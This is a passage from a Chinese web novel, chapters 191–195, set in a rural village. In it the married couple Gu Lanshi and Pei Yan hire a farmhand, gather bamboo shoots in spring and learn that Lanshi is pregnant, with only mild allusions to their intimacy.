高高大大的汉子站在旁边,纵然一身布衣,也穿得挺拔劲瘦。 他离得太近,顾兰时能闻到衣裳上那股子野澡珠的淡香气,被体温烘热,莫名显得攻击性十足。 于是顾兰时往旁边让了两步远离,昨晚被抱着硬生生承受了许久,裴厌力气又大,一旦兴起到忘乎所以,惯会使蛮力。 而这两年间,彼此越发契合熟悉,裴厌深知他弱点,不但使蛮力,还会用巧,甚至有更难以启齿的恶劣行径。 他吃了亏,有点不待见对方。 坐在堂屋吃包子时,裴厌在他眼前晃来晃去,想忽略都难。 “喝一口,不然噎着了。” 茶碗递到了嘴边,顾兰时看一眼端着茶碗的男人,没忍住翻了个白眼,说:“我又不傻,噎了我自个儿不会喝水?” 裴厌赔笑不语,见他不给面子,只好放下茶碗,坐在旁边有点小心翼翼,见他一手揉膝盖,薄唇微微抿了一下,试探着,伸手帮忙去揉。 见顾兰时没说话,他悄悄松一口气,不止揉膝盖,还找了一张矮凳让顾兰时把腿放上去,帮着捏了一会儿腿脚。 “牲口喂了?”顾兰时吃完靠在椅背上,心里的气消了点。 裴厌笑着说:“喂了,鸡鸭也喂了,棚圈也都拾掇过,再没别的活。” “嗯。”顾兰时又不说话了,望着屋檐前的水帘发呆出神。 不止昨晚,前天和大前天晚上都累得够呛,不免觉得疲惫,心神就有些涣散。 好半天后,他才开口:“雪化了,到二月更暖,地里的活就得开动,趁着这十天半月,你又不去做工,多去问问人,早点把长工找好。” “知道了。”裴厌低头给他捏腿,找长工这件正事确实得抓紧了,最近他夜里贪欢,恨不得一直黏在顾兰时身上,便有点懈怠。 灰灰避着泥泞跑来,因屋檐滴水,它是快速窜进来的,但还是没避开几滴雪水,它皮糙肉厚,却被几滴水惊得身躯一扭嗷嗷叫,仿佛是什么了不得的大事,倒惹得顾兰时笑了一声。 裴厌总算舒了一口气,见顾兰时伸手去揉灰灰脑袋和耳朵,他才敢抬头,见夫郎脸上笑意盈盈,眉心那条红钿鲜红,人又白,比画的花钿还要漂亮。 不知是不是太困,眼尾红红的,透出几分春情。 喉结微动,裴厌忍下心底蠢蠢欲动的念头,继续捶腿捏脚。 * 赶在月底之前,找长工一事总算有了眉目,是刘家村一个汉子,叫刘大鹅,约莫三十岁上下的年纪,已经成了家,有两个娃娃,大的今年才六岁,老爹老娘都在,都上了年纪。 刘大鹅老娘还好,腿脚利索,能帮家里干干活,老爹前年病了一场,一条左腿不能动了,弄了个木拐,平时要出门不是撑着木拐,就是把木拐绑左腿上,一挪一挪往前走。 刘家村离得不远,只隔了两个村子,脚程快的汉子两刻钟就能走到,一路没什么路阻艰险,都是平地。 正月二十九,上午太阳出来后,顾兰时正在院里收拾柴堆,就听到周平的声音,连忙让裴厌停下手里的活,迎了人家进来。 见周平领了个汉子,他知道来做什么,给茶壶重新泡了茶,又端一碟糕点,放在堂屋桌上,自己回屋避了避。 周平媳妇刘桂花是刘家村人,娘家在那边,上次回去的时候,听闻刘大鹅从先前的东家回来了,不再去了,她听在耳朵里记下。 刘大鹅是她本家亲戚,知道刘大鹅老实本分,家里穷,夫郎从去年就病歪歪的,时不时就得抓药,刘大鹅也是因老娘一个人看顾不来家里的人和事,他夫郎病重以后,实在放心不下,就辞了东家的活,回来照顾了两个月。 眼瞅着夫郎身体好多了,家里的钱也花了不少,刘大鹅又开始发愁挣钱的事,他一直都在原先那户人家做长工,挣不了什么大钱,但胜在平稳,每个月都有工钱拿,而且自己的吃喝在东家,能给家里省下不少口粮。 刘大鹅太老实,没什么挣钱的本事,依旧想给别人做长工,他干惯了农活,自己心里也觉得这样踏实。 刘桂花可巧知道顾兰时和裴厌想招个长工,她心里其实没底,但还是在苗秋莲跟前提了一嘴。 苗秋莲和顾铁山帮着看了好几个人,却一直没找到合适的,有人一听是裴厌招工,当即就回拒了,不敢轻易和他攀扯上,有的则是细一打听,裴厌觉得不合适。 刘大鹅给人干了七八年长工,家里也知根知底,都是本分的庄稼人,裴厌思索再三,又和顾兰时商量过,最后决定雇刘大鹅。 三人坐下后,裴厌给他俩倒了茶水,客套两句后直言道:“平叔,刘哥,我也不说那些虚的了,一个月一百五十文,每天管两顿饱饭,早食也管,只是西屋还没拾掇出来,头前这段时日,得劳烦在路上跑,明儿二月初一,刘哥要是愿意,明天就过来。” 刚给人家做长工,一百五十文是常见的价,一般干上一两年,东家觉得可以,后面陆续会涨工钱。 周平对这些不陌生,因刘大鹅是他媳妇堂侄儿,帮着问了问。 果然,裴厌没有敷衍,承诺要是干得好,一两年后工钱自然会涨。 于是周平去看刘大鹅,他觉得可以,但到底答不答应,还得看本人的。 刘大鹅坐在那里有点拘谨,没有伸手端茶碗,他想了想,搓着手开口:“行,不住家也成,我夫郎身子骨弱,孩子也小,每天回家看着我也放心。” 既然如此,不用着急收拾屋子,裴厌点点头,又道:“每月月底结工钱,要是家里有急用,想预支的话,提前说一声就行,刘哥还有什么要问的?” 刘大鹅思索一阵,最后摇摇头。他生性沉默,按别人的话来讲,就是有点孬,因刘家村不远,也是听过裴厌名字的,对这样厉害的人物,天生就想避着走。 只是一时半会儿实在找不到好的东家,又听他桂花姑说裴厌根本没那么可怖,便硬着头皮来试,不想裴厌这么痛快。 商定好了以后,三人起身往顾家走,顾兰瑜认字,得找他写份契约,按了手印才算作数。 他几个走了以后,顾兰时从屋里出来,心里一松,这件大事总算落定了,正月是小月,只有二十九天,赶着明天初一的日子,人家就来上工干活了,这日子正好。 等裴厌回来,从怀里掏出一份契约,打开给顾兰时看。 因弟弟识字,顾兰时以前就知道自己的名字是哪三个,后来认识了裴厌两个字,他不会写,但记住了,至于别的字,只有零星几个简单的认识,再多就是大眼瞪小眼了。 第192章 清早,天刚蒙蒙亮,顾兰时还在被窝,正睡得迷迷糊糊,外头狗叫声响起,动静不小。 裴厌听见刘大鹅的声音,披上衣裳出去开门。 头一天上工,刘大鹅一点都不敢懈怠,早早就起来赶路。 他年纪比裴厌大,进门后显然有点无措,露出个讨好拘谨的笑,脸晒得黑黝黝,风雨在他脸上留下了粗糙的痕迹。 “刘哥,这么早。”裴厌说着,又把篱笆门关上,这次没有上门闩。 “嗯嗯。”刘大鹅闷声点头,不知道说什么好,怕说错话,干脆只应声。 裴厌走在前面两步,想了一下说:“刘哥,这十天半月都是家里和田里的活,不必起太早赶路,东边天亮了以后你再从家里走,来得及。” 刘大鹅只顾点头答应,既然东家这么说了,他照着做就是。 裴厌看出他性子,一边走一边又交代两句:“等草木发出来了,气候回暖,要打草种菜,忙起来了,到那时候来早些就行。” “好,我记下了。”刘大鹅总算说了句长话。 人已经来了,裴厌没有多客套,说:“早食还没热,刘哥,你先劈一些柴火,等吃过早食,锅里水正好是烧开的,顺便煮半锅猪食,后院只有一头老母猪,还有一只毛驴,同样要喂。” 刘大鹅第一天过来,一些事情和东西放在哪里都要先说清,不然人家也为难,裴厌说了一堆。 一听都是家里的琐碎事,刘大鹅干惯了,听一耳朵就能记住,无需询问。 见狗追在后面,明显对刘大鹅有谨慎和好奇,裴厌转头又对刘大鹅说道:“狗不用怕,只要我俩在家,就不会乱叫更不会咬人,你天天来,熟了后它们自然就认得了。” 说完,他又对大黑吩咐一声:“以后刘哥常来家里,别乱叫。” 大黑看着他,尾巴在身后轻晃,不知道听懂了没,裴厌也没放在心上,跟狗说话是他不知不觉间和顾兰时学来的习惯。 刘大鹅以前的东家爱养狗,常常和狗讲道理,像对人似的,他一开始不习惯,后来见怪不怪了,因此对裴厌这一举动没有任何反应。 一进院子,刘大鹅歇也没歇,见长斧头在柴堆旁放着,拿了就开始劈柴。 裴厌脚步一顿,见他这么实在,没说什么,先进屋去了。 顾兰时已经穿戴好下了炕,冬闲养的人都懒了点,他俩最近一直起得晚,人家都进了门,自己还在睡觉,有些不好意思。 “我跟刘哥说了,等吃过早食,喂猪喂鸡的事他会做,你歇着就行,太阳大了后,我俩再去翻田。” 裴厌一边说一边把衣裳穿好,顺手取了木梳梳头发,用布条缠好后,搓搓脸整个人精神起来。 顾兰时和他一起出去,先进灶房擦火起灶,等水热了以后,这才盥洗洁牙,因刘大鹅在院里,他和对方不熟,就在灶房里洗,出去倒水才打个照面。 早食很简单,一人两个糙馒头,再就是半个咸鸭蛋,连桌子都不用,各自拿在手里吃。 说实在的,刘大鹅没想到能有咸鸭蛋吃,蛋黄红油直流,光是看着就能流口水,在上一户人家做工时,早上一般都是两个糙馒头或几块自家蒸的米糕,噎的话喝水就咽下去了。 顾兰时原本想一人切一片咸菜,他和裴厌平时就这样吃,转念一想,人家头一天过来,多少给吃好点。 吃完后,裴厌喝了一碗热茶水,就和刘大鹅在前后院忙。 家里琐碎活不重,有两个汉子去做,顾兰时一下子清闲了,只用扫扫屋子掸掸灰尘,外头的活根本用不着他。 忙碌惯了,一朝突然闲下来,他还有点不适应,在堂屋转了好几圈,又看看前院,愣是没找到自己干的活,只好拿了针线做。 太阳大了,家里的活干完以后,裴厌和刘大鹅牵着毛驴去犁地,田要深翻一遍,过两天还要翻翻菜地。 顾兰时闲着没事,见狗在家里团团转,于是带了三条大狗在门外转悠,他没有走远,在附近走了走,又蹲下把去岁的荒草枯枝扒拉开,发现有几株新发的草苗,嫩嫩小小的,十分怯弱,他露出个笑,再等等,慢慢就有新鲜的野菜吃了。 * 晌午,裴厌和刘大鹅从地里回来,鞋子和裤管上都沾着泥,随便洗一把手,顾兰时已经把饭菜端上了桌。 这是裴厌两人的,他自己的碗筷饭菜在屋里炕桌上。 走进堂屋,刘大鹅东盯西瞅,也不知在看什么,裴厌坐下后,见他还站在那里,开口道:“刘哥,坐下吃。” 刘大鹅这才反应过来,他要在这张桌上吃。 他咽咽口水,搓着手坐下,犹豫再三还是开了口,说:“我以前干活,吃饭都是另外一处,端在手里也行,有张宽凳能放下碗也行,和主家各吃各的。” 原是这样,裴厌点点头,说道:“那这顿先这样,先吃饱再说。” “好、好。”刘大鹅连连点头,拿起筷子端了碗,神情依旧拘谨,不敢乱夹菜,只吃自己面前的。 见他如此不安,裴厌心想,确实还是分开为好,给拨一碗菜,他自己也能吃尽兴,不至于一顿饭下来连菜都夹不了几筷子。 不是顾兰时耳朵尖,家里就这么几个人,他独自坐在炕上吃饭没说话,自然能听到外头的说话声。 等到了下午,离太阳落山还有小半个时辰,晚饭已经做好了。 这次顾兰时和裴厌在屋里吃,刘大鹅自己在外面堂屋,除了一碗热腾腾的疙瘩汤和两个糙馒头,还有满满一碗菜。 他独自吃饭明显放松了许多,在发现疙瘩汤里有蛋花的时候,颇有点受宠若惊。 这时节的鸡蛋太金贵了,就算给疙瘩汤里打一个,有的人舀饭时会先把蛋花舀走,留给自家人吃,没想到他碗里也有。 比起他的惊讶,顾兰时根本没想那么多,蛋花打散了搅在汤里,哪有那个闲心去捞去舀。 乡下汉子干活多,吃的也多,见裴厌吃完一碗起身要去舀饭,顾兰时让他问问刘大鹅还要不要,疙瘩汤做得多,锅里还有呢。 刘大鹅犹豫一下,起身跟在裴厌后面,再给自己舀了半碗疙瘩汤。 不过两顿饭,就看出裴家两人实在,他心里越发踏实,这些年给好几家做过长工,遇到过好人,也遇到过会在各种地方克扣的东家。 他在上一户人家待的就久,要不是夫郎生病,还真不会辞掉,那户人家和裴家差不多,从不在吃饭上苛待人,不但有油水,菜量还大。 刘大鹅愚钝老实,就算主家不好也会踏实做活,但他心里也知道别人对他究竟如何,这一天下来,他暗暗在心中想,以后干活肯定要更上心尽力。 * 日子眨眼就过去,地上渐渐有了一点零星绿意,看得人心喜不已。 等不及的人已经开始提着竹篮在河边到处挖野菜苗吃,因时节不到,多数时候转悠许久才能弄半篮子。 “回家去,别在路上耍。”苗秋莲在后头叮嘱道。 “知道了娘。”顾兰时笑着回头答应,他娘也是的,他都这么大的人了,怎么可能在路上贪玩。 手里的竹篮有不少野菜苗,嫩嫩的,绿绿的,叫人一看就欢喜,多久没吃过这么春鲜的菜了。 回家洗一洗,切点肉片滚汤,再把野菜下进去,煮熟后一定是鲜绿清甜的,光这么一想,口水都能下来。 顾兰时兴冲冲往家里走,大黑跑在前面,时而停下来等他。 发现前面几步竟有几朵小小的野花绽放,顾兰时惊讶极了,忍不住停下来,蹲在野花前细看。 粉色的花瓣小小的,一整朵还没指甲盖大,三四个月没见过新鲜的花朵,他忍不住多看了一会儿。 大黑见他蹲在那里没有动,又跑回来看,爪子恰好踩在野花上,前后爪子轮番踏上,顷刻间就将娇嫩的野花摧残。 顾兰时愣一下,随后哭笑不得,伸手揉了一把狗头。早知道就摘下来,拿回去给裴厌看,这下好了,谁也见不到。 他拍拍手提着竹篮起身,因觉得自己没有在玩耍,将苗秋莲的叮嘱抛到脑后,一边走一边寻找其他野花的存在。 很可惜,时令不对,再没看见别的。 篱笆门开着,显然裴厌在家,灰灰和灰仔在门口不停转悠,看见他俩之后,一个比一个凶,冲着大黑和顾兰时汪汪叫,仿佛责怪没带它俩。 有野菜吃,顾兰时心情很好,在门口摸摸灰仔脑袋,露出来的左手腕子上银光闪动。 自从雇了刘大鹅以后,他每天干的活很少,只剩下洗衣做饭这些,不用干那些粗活脏活了,裴厌便提醒他,把镯子戴上。 刚戴上那几天,回家串门子,被村里人瞧见,嘴上说了些羡慕玩笑的话。 顾兰时能看懂有的人其实是眼红,他有自己的应对法子,直言是裴厌买的,叫他戴着,一下子就叫好几人闭了嘴,言语中只剩下羡慕。 谁不知道裴厌卖猪卖鸡蛋挣了好些钱,买个银镯子也在理。 “呜——” 灰仔被摸得眯了眼睛撒起娇,于是灰灰又冲着它吠叫。 “行了行了。”顾兰时又去揉揉灰灰,等把狗都应付好后,这才往家里走。 果树上的红络子已经取下了,一些枝条已经有芽苞长出,他边走边看树上和地里的变化,眼中藏着笑意,春天是个好时节。 裴厌在院里磨刀,两把菜刀已经磨好了,手上拿的是镰刀刃。 见夫郎笑眯眯进门,他停下手里的活,笑问道:“挖到了?” “嗯,不少呢,今天吃肉片野菜汤。”顾兰时兴冲冲上前,把竹篮里的野菜给他看。 裴厌满脸笑意,目光落在顾兰时被太阳照到的白皙面庞上,眉心红钿红艳艳的,漂亮异常。 第193章 背阴处的雪有些还未融化,山沟涧壑中,水流哗啦啦冲刷着石头,一路蜿蜒曲折往下奔腾。 河道里,经年冲刷的大石头早已被磨平棱角。 顾兰时背着竹筐走在后面,经过水流平缓的地方,有一处汇聚起来的小潭,如一汪碧玉,水面被风吹得泛起涟漪。 这边石头很多,因是个上坡处,犹如凌乱的台阶。 刘大鹅在最前,已经上了坡,后面是裴厌,他走几步就回头看一眼落在最后面的顾兰时。 山路走惯了,顾兰时脚下很稳当。 刚开春,覆盖山林的白雪消失不见了踪影,点点绿意缀在四处,土里石头缝里,还有水边林子中。 初春时节,去岁的枯黄和新生的嫩绿交错织在一起,叫人顿觉一片欣欣向荣。 顾兰时一边走一边东张西望,他觉得哪儿哪儿都好看,一瞧见绿色的野草,心里就忍不住高兴。 因这样的神态,倒叫裴厌不放心起来,到处都是石头,旁边还是水潭和山溪,万一不留神,脚下没踩稳,就不只是摔倒的事了。 好在石头坡很快过去,并未发现什么脚滑的事,裴厌暗自松一口气,再往前离溪水远了,路也算平坦。 今天要去另一片谷中竹林,砍几根竹子回去,顺便再掰些春笋。 这边的竹笋细长,也就两指宽,连锄头都不用带。 山里没有平地,沿着陡坡缓坡上上下下,等地势渐平,一抬头看见前面绿意蒙蒙,竹谷就到了。 风一吹,竹叶簌簌而响,衬得春风更柔和,身处其中只觉舒泰万分。 顾兰时心中涌出一股满足感,山里的春风微凉,吹拂在脸颊耳畔并不寒冷,他脚下加快,走到裴厌身边,笑着说:“等会儿你俩砍竹子,我掰些笋子,再去找找野菜,这片山谷比咱们山下野菜发的更早,肯定有好多。” “嗯,别走远。”裴厌叮嘱道。 三人进了竹林以后,眼前身后都是高耸的翠竹,绿意无垠。村里没有人数过竹谷里有多少根竹子,只知道竹子很多很多。 看见冒出头的嫩笋,顾兰时把背上竹筐随便放在地上,只听“吧”一声响,鲜嫩的笋子被掰下,丢进筐里。 裴厌和刘大鹅分开,各自挑了一根竹子,一个拿斧头一个拿柴刀,哐哐就开始砍。 顾兰时离他俩远了一点,今天来得巧,竹笋挺多的,弄满一筐不成问题,不过他还想挖点野菜,竹笋采半筐就行,这两天裴厌不去镇上,掰太多他们三个吃不完,放两天就没那么嫩了。 要说这么嫩的笋子,焯过水晒干,比夏天那会儿晒的笋干更好吃,这么一想,他又觉得还是多采一些为好。 家里很多活不用他干,心思就全放在柴米油盐这些东西上,他始终觉得,只有吃好了,干劲才能足。 “留神。”裴厌吆喝一声提醒,顾兰时和刘大鹅知道他要推竹子了,纷纷抬头望过去,见竹子的方向没有对着他俩,就没挪动。 裴厌最后一刀砍下,随手一推,长竹携带着凌厉风声轰然倒下。 紧接着,刘大鹅也吆喝了一声,他面前的竹子朝另一个方向倾倒。 削砍竹枝不着急,多砍几根再去弄,砍竹子的动静再次响起,顾兰时单手拎起竹筐边走边掰细笋。 比起砍树,砍竹子要轻松许多。 等顾兰时采了一筐子细笋,又拔了不少野菜放在竹筐最上面,沉甸甸装满后,裴厌和刘大鹅各自砍了三根竹子,正在削竹枝,长的竹枝捆成一捆,拖下山晒干能烧柴也能绑扫帚。 因竹谷比常去的那两片竹林更远,就没有贪多,今天主要是顾兰时说想来掰笋子,才顺道过来的。 两个汉子肩上扛起长竹一端,顺便把捆竹枝的麻绳头勒在肩头,一同往山下拖。 顾兰时背着竹筐跟在后面,沿着来时路返回。 因路远,路上歇了两次,等回来后,裴厌和刘大鹅没有进院子,直接拖着长竹去院落东边的空地,那里已经有一堆竹子,是昨天砍的。 今年想再买四五十只鸡仔养,可不得先把鸡圈鸡窝搭好,正好东边有这么一片空地。 不止鸡圈,想年底多卖几头猪攒钱,今年还要多养几头猪。 裴厌把地方都划出来了,东边院墙和山壁中间这一片地方,前头用篱笆围一片地方来养鸡,后头能垒两个猪圈。 因去年有公猪打架咬架的事,今年他打算除了那头老母猪,其他猪圈中间用木头隔开,这样一个圈里能养两头猪,还能防着打架。 要说后院的猪圈已经垒好,不方便改动,外头还没开动的两个猪圈可以弄成四个小的,只要肥猪长大以后能转动开就行。 只是那样的话,无论从山上背回石头还是起泥墙,都比较费事,弄个木头栏到底轻便些,不用费很大力气,猪养到年底也就卖了。 他甚至见过有人养猪连猪圈都没有,在后院随便搭个顶棚,打一根桩子,用麻绳把猪拴起来,就那么养,猪吃了睡睡了吃,在粪泥里滚,也长得挺大。 他俩养猪肯定不会这样,有猪圈隔着,好歹能把猪粪挡一挡,不会把后院弄得那么脏。 “歇歇,填填肚子再忙。”顾兰时提了茶壶端了米糕出来。 刘大鹅和裴厌各自坐在一根竹子上,路远确实有点累。 裴厌接过茶壶,给他和刘大鹅一人倒了一碗热茶,顾兰时坐在旁边的圆石头上,他还好,一筐笋子沉是沉,但能背动。 “下午还去?”他拿了一块米糕吃,顺便问道。 半碗热茶下肚后,裴厌擦擦唇边的水,点头说:“去,再砍七八根竹子,明天再剖竹片。” 不多弄几根回来,不够的话还得再上山,太麻烦。 “嗯。”顾兰时应一声,又示意他把米糕碟子端过去,让刘大鹅也吃。 太阳渐渐大了。 晌午饭吃过以后,刘大鹅煮猪食,裴厌在院里剁泡发的马齿菜,顾兰时进西屋摸鸡蛋。 二月已经过半,没有之前那么冷了,外面的母鸡母鸭偶尔会下几个蛋,最近蛋价回落,降到了七文钱。 日子实际没有太大变化,活还是那些活,只不过干活的人多了一个,再没有那么繁重。 * 夜色笼罩,烫过脚后,顾兰时打着哈欠上炕,困得眼泪流出来,擦掉后直接钻进被窝。 被褥昨天晌午晒过,软和温暖,没有烧炕也不冷。 照常是裴厌出去倒洗脚水,这原本是夫郎媳妇的活,但两人自成亲后就如此,习以为常了,都没觉得不妥。 月色如水,从窗外照进来,没点灯也能大致看清屋里的陈设。 顾兰时沾着枕头就迷迷糊糊睡着了,不想没多久,裴厌钻进了他被窝。 他眼睛都没睁开,配合着抬腰分腿,这七八天有点忙,夜里顶多亲一阵子摸一会儿,知道裴厌是馋了,因此再困都没拒绝,反正多数时候都不用他动弹。 一路亲到肚子上,埋被窝里忙碌的裴厌忽然一顿,他看不到,于是伸手摸了摸。 “怎么了?”顾兰时没等来该发生的事,困倦的声音响起。 裴厌径直从他上方钻出被窝,撑着身体,带了一丝不确定开口:“你最近吃胖了?” 顾兰时睁开困乏的双眼,声音也不高,说:“可能吧,肚子上肉多了,今年过年吃那么多肉,不胖才怪。” 他自己早就发现了,说着,顺手摸了一把裴厌肚子,还是硬邦邦的几块肉,说实话,没有他胖了的肚皮那么好摸。 他又打个哈欠,说道:“最近我也没怎么干活,可不就胖了。” “晌午你不是睡了一阵子,还是想睡?”裴厌声音低沉沉的。 顾兰时浑然不在意,懒洋洋开口:“不是有老话,春困夏乏秋打盹。” 他说完,因为太困,忍不住催促道:“还做不做了,要么就抓紧,赶紧进来,不然我就睡了。” 裴厌沉默了一会儿,没有为他如此大胆的话感到惊讶,夜里两人独处时,总有些亲热话会说出口。 “你好像不是胖了。”裴厌低声说道。 顾兰时不以为然,甚至有点烦他这么絮叨,开口道:“不是胖了还能是怎么,总不能我肚里长个东西吧。” 沉默在蔓延,后山本就寂静,一旦不说话,就只能听到对方的呼吸声。 黑暗中,顾兰时忽然睁开眼,伸手摸上自己肚皮,总算反应了过来,结结巴巴说道:“胖、胖了?” “你最近吃的挺多。”裴厌依旧撑在他身体上方,一条一条道:“也能睡。” “最主要的,红钿颜色深了,比之前更红。”他又问道:“兰时,你自己没发现?” 顾兰时人是懵的,下意识摸了摸眉心,屋里有铜镜,但平时他梳头才去照,也不怎么留心看自己模样。 红钿只是一条画一样的竖痕,细细的,摸起来没有凸起或凹陷,眉心肌肤平滑,什么都摸不出来。 两人都知道,双儿眉心的红钿一个是和汉子区分开来,另一个,多数双儿有身孕之后,红钿颜色都会加深,红艳艳的,甚至细痕也会变宽一点,鲜亮又好看,很多有经验的人一眼便知晓。 “也不一定。”顾兰时干巴巴说道,这件事想是想过,可陡然砸到头上,他有点措手不及。 裴厌在他旁边躺下,伸手摸了摸小肚子,似乎也在努力接受突然而来的情况,好半天后才开口:“明天,去找草药郎中把把脉。” “嗯。”顾兰时眨巴眨巴几下眼睛。 夜还早,被窝里的两人却没了睡意。 第194章 隔壁清水村就有个草药大夫,把脉也是会的。 太阳出来以后,裴厌和刘大鹅说一声,就带顾兰时出门了,他俩没声张,也没说去哪里。 刘大鹅话少,不是爱说闲话的,东家没说他也没问,独自干自己的活。 一进村子,迎面就碰上竹哥儿和花惜霜。 竹哥儿挎着篮子,见到哥哥很高兴,说:“兰时哥哥,这么一大早,做什么去?” “去转转。”顾兰时糊弄了一句,又问:“你俩去挖野菜?” “嗯。”花惜霜点点头。 顾兰时笑道:“我昨儿在河边看到一片水芹,掐了些没掐完,你俩过去看看,说不定还有呢,可嫩了,沿着石头池子往上游走一截,就能看见。” “好。”竹哥儿点点头。 都有事情忙,遂没有多耽误,各忙各的去了。 出了村子后,人少了,顾兰时才松一口气,不用含糊作答了。 昨晚一开始还觉得睡不着,谁想不知不觉就睡了过去,他心里惦记着事,还做了几个说不清的梦,慌乱乱的,心里没个着落。 和别的事不同,纵使裴厌在旁边,也无法叫他觉得安定。 直到进了草药郎中家里,裴厌同老郎中说明来意,他呆愣愣按着老郎中的话坐下,又把手腕伸出去,搁在脉枕上。 老郎中隔着一层薄帕把脉,凝神静气,半晌没说话。 裴厌站在夫郎旁边,见此情形,颇有点大气不敢出的意思,连呼吸都放轻了,生怕扰乱了脉象。 老郎中收回手,又观一眼顾兰时眉心,其实进门的时候他就发现了,随后笑呵呵同他俩道喜,还说已经两月有余。 顾兰时晕乎乎的,一时连话都说不出来。 裴厌还算镇定,缓过劲后站稳,问了些饭食上的事宜。 老郎中见他这么上心,于是仔细交代了一番。 乡下的郎中诊金不贵,两人出来后,顾兰时想起老郎中说,肚子里的已经两月有余,生的话大概在九月份,神智越发恍惚,这就要生了? 裴厌目光不如平时明锐,直到走出清水村才回过神。 他脚步顿住,见周围没有人,只远处田里有一些人影在劳作,他犹豫着开口:“才两个月,回去只跟岳母说一声?” “啊?”顾兰时抬头看他,努力回想了一下他刚才说的,点点头:“嗯,娘和爹得说一声,其他人先不告诉。” 说完后,两人原地呆站一会儿,才又迈开步子。 到底年轻,之前被催促要孩子后,却只惦记着皮肉滋味,就算一直没发现动静,两人也没想过看郎中。 “不想吐?”裴厌走着走着突然问道。 顾兰时想了一下,摇摇头说:“不想,每天胃口都挺好的。” 裴厌想了一下,问:“荤肉不觉得腥气?” “不觉得,肉不是挺香的。”顾兰时丝毫没有这方面的反应,吃得好睡得也好,他总算露出个笑容,说:“怪不得没觉察。” 裴厌松一口气,他知道一些有身孕的人什么也吃不下,吃了就吐,本来就是重身子,还吃不进去东西,人不瘦才怪呢。 “有没有想吃的?”他又问道。 顾兰时眼睛一亮,笑眯眯开口:“馋鱼吃了,鲜鱼,这两天正在想,只是河水还冷,改天闲了,你弄个鱼竿,能钓上来就好,钓不到算了,水太冰,不用去下网。” 裴厌说道:“明天我去趟镇上,肯定有卖鱼的,再买两坛梅子和腌杏,防着万一胃口不好,还能开开胃。” “行。”顾兰时痛快点头,一点儿异议都没有,他俩手里有钱了,不必太拘着,饿到肚里娃娃可不好。 虽然对孩子没有清晰的念头,他知道,想孩子顺顺当当生下来长大,就不能饿到,能吃就吃。 说着说着,后面要怎么办,裴厌心里渐渐有了数,一扫刚才的无措,星眸中明亮的笑意浮现。 顾家。 苗秋莲正在挑碎布头,打算给自己糊双鞋面,听见外头顾兰时的声音,她喊一声让进来,依旧在炕边坐着。 “娘。”顾兰时喜笑颜开。 苗秋莲拿着手里灰蓝的碎布让他看,说:“兰哥儿,帮娘看看,这颜色糊鞋面怎么样?” 顾兰时看一眼,这个颜色不张扬,说道:“好着呢。” “那就好。”苗秋莲把挑好的放在一旁,问他:“今儿不忙?” 顾兰时笑眯眯的,说:“就那样,有刘哥在,我不忙。” 苗秋莲抬眼看他,劝道:“就算有长工,也不能指着人家把什么都做了,缝衣裳做鞋,该你做的都上点心,不然,养一身懒骨头,以后姑爷若嫌弃,娘可帮不了你。” 她絮絮叨叨的,没看懂儿子笑容的含义。 顾兰时只得说道:“刚才我和裴厌去了趟清水村,找老郎中看了。” “哎呦,怎么了这是?”苗秋莲停下絮叨。 顾兰时毫不羞涩,直言道:“俩月了。” 苗秋莲一愣,反应了一会儿才明白过来,连忙看他眉心红钿,乐得合不拢嘴:“我说呢,最近看你红钿那么亮,娘却老糊涂了,愣是没觉察。” “千万记得,凉的冷的不能沾,既请了人做长工,姑爷心善,心疼你怕你累着,已经花了钱,就别去打草干活了,把家里的那点事做好就成,要有事了,就过来家里说。” 顾兰玉和顾兰秀嫁的远,上头有婆婆下头有小姑子,不用娘家担心,顾兰时离得这么近,苗秋莲一想到他没有婆婆姑姐帮衬,免不了自己要多操心操心。 “知道了娘。”顾兰时点头。 苗秋莲又道:“这事儿先别同人讲,回头我只跟你爹说一声。” “嗯。”顾兰时又答应一声。 在家说一阵子话,顾兰时才回去。 不想一进篱笆大门,就看见裴厌牵了驴车出来,他好奇问道:“做什么去?” 裴厌开口:“去镇上,早点把鱼和梅子杏子买回来,扎鸡圈不急。” 他心热,实在坐不住。 “钱带好了?”顾兰时没有阻拦。 “带上了。”裴厌拍拍怀里示意,又说:“我买了就回来,不耽搁。” “嗯。”顾兰时送他出门,叮嘱道:“不着急,路上别赶那么快。” “知道了。”裴厌答应着远去。 * 从镇上回来,板车上多了不少东西。 顾兰时站在旁边,看裴厌一样一样拿下来。 篓子里两条鲫鱼还在甩鱼尾,裴厌把鱼篓掂一掂,给他看底下的小鱼和小虾,说:“河虾,焯熟了吃鲜的,小鱼等下我洗了,炸着吃。” 把鱼篓放在灶房门口,裴厌把车上的两个瓷坛打开,让他里面的梅子和酸杏儿,又提起两个油纸包,说:“一个是偏酸的山楂果脯,一个是甜的蜜枣。” 还有一个油纸包,他拿起来垒在一起,说道:“这是糖炒的黑芝麻,人家说吃这个好,你就当零嘴,每天抓两把吃。” 至于那个最大的,还染了油的纸包,一拿起来,旁边的灰灰和灰仔呜呜叫个不停,馋的直流口水,试图用鼻子贴近去闻。 裴厌没理它俩,笑着开口:“路过烧鸡店,闻着香,就买了一只,近来你不是说猪肉吃腻了,换换口。” “好。”顾兰时笑眯眯的,想起两个大鸡腿,确实馋了。 至于板车上的两只乌鸡,他一早就看见了,出去的时候没带鸡笼,乌鸡被捆了脚,躺在那里偶尔挣动两下。 裴厌把两只乌鸡抓起来,说:“在街上碰见,回头杀了,炖汤给你补补。” “行。”顾兰时脆声答应,没有埋怨他乱花钱。 至于车上最后一个小陶罐,裴厌拿起后,没有端到顾兰时面前,往后让了让才打开,眼里有着止不住的笑意,说道:“这是在米粮调味铺子里买的辣子粉,除了辣子面以外,还加了别的香料调味,更辣更香。” “我原本不知道,路过时看见一个大肚子的夫郎正好在买,听见他说自己爱吃辣,我也买了一小罐。” 他眉眼笑意始终不散,以前出门不会特意去看别人,这回一看到大肚子的妇人和夫郎,对他们说什么在吃什么,不免就留了神。 “我问了伙计,他说有身孕能吃,镇上有一些怀孕的妇人夫郎还特地上他们店里买,我还上医馆问了问,老大夫是好人,没嫌我不看病不抓药,辨认了一下说能吃。” 有身孕以后,不一定都爱吃酸,也有嗜辣的人。 家里有磨好的辣子面和花椒面,不过裴厌看别人买,心想还是给顾兰时换换口。 顾兰时对这个挺好奇,接过去看了看,登时就闻到一股子辣味,他揉揉鼻子,笑着说:“味道果然重一点。” 裴厌把手里的盖子放上去,这下阻绝了辣子粉的味儿,说道:“要是想吃辣的了,无论炒菜还是炖肉,撒点这个辣子粉,应该挺香的。” “嗯。”顾兰时心中喜悦,这么多吃的,光看着都高兴。 第195章 